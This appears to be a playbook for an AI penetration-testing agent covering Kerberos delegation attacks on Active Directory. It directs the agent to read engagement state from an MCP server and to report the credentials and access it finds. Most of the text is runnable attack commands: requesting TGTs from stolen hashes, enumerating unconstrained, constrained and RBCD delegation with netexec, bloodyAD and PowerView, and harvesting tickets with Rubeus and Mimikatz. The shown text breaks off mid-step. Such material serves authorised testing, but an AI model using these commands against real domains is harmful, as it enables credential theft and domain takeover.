Kerberos Delegation

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Domain credentials (user, hash, or ticket) with at least one of:
  • Local admin on an unconstrained delegation host
  • Hash/key of a constrained delegation service account
  • Write access (GenericAll/GenericWrite/WriteDACL) to a computer object (for RBCD)
• Network access to DC (port 88/389/445)
• Tools: Impacket suite, netexec/nxc, optionally Rubeus, bloodyAD, krbrelayx, SpoolSample/dementor.py/PetitPotam

Kerberos-first workflow:

getTGT.py DOMAIN/user -hashes :NTHASH
# or with AES (preferred)
getTGT.py DOMAIN/user -aesKey AES256KEY
export KRB5CCNAME=user.ccache
# All subsequent commands use -k -no-pass

Step 1: Enumerate Delegation

Identify delegation-configured accounts. Skip if already provided by ad-discovery or conversation context.

Unconstrained Delegation

# NetExec
nxc ldap DC.DOMAIN.LOCAL --use-kcache --trusted-for-delegation

# bloodyAD
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get search \
  --filter '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))' \
  --attr sAMAccountName,userAccountControl

# PowerView (Windows)
Get-DomainComputer -Unconstrained -Properties name,dnshostname

Note: Domain Controllers always have unconstrained delegation. Focus on non-DC computers with TRUSTED_FOR_DELEGATION.

Constrained Delegation

# NetExec
nxc ldap DC.DOMAIN.LOCAL --use-kcache --delegated-to

# bloodyAD
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get search \
  --filter '(msds-allowedtodelegateto=*)' \
  --attr sAMAccountName,msds-allowedtodelegateto

# PowerView (Windows)
Get-DomainUser -TrustedToAuth | select name,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto

# BloodHound Cypher
MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p

RBCD Targets (Writable Computer Objects)

# bloodyAD — find computers you can write to
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get writable \
  --otype COMPUTER --right WRITE --detail

# Check MachineAccountQuota (for creating attacker computer)
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get object \
  'DC=DOMAIN,DC=LOCAL' --attr ms-DS-MachineAccountQuota

# Check existing RBCD
nxc ldap DC.DOMAIN.LOCAL --use-kcache -M rbcd

Decision Tree

Step 2: Unconstrained Delegation

Concept: When a user authenticates to an unconstrained delegation host, their TGT is cached in LSASS. With local admin on that host, extract the TGT and impersonate that user anywhere.

Requirements:

• Local admin on the unconstrained delegation computer
• A high-value user authenticates to it (or you coerce authentication)

Step 2a: Monitor for Incoming TGTs

# Rubeus — monitor for new TGTs (run before coercion)
.\Rubeus.exe monitor /interval:1 /nowrap

# Mimikatz — export all cached tickets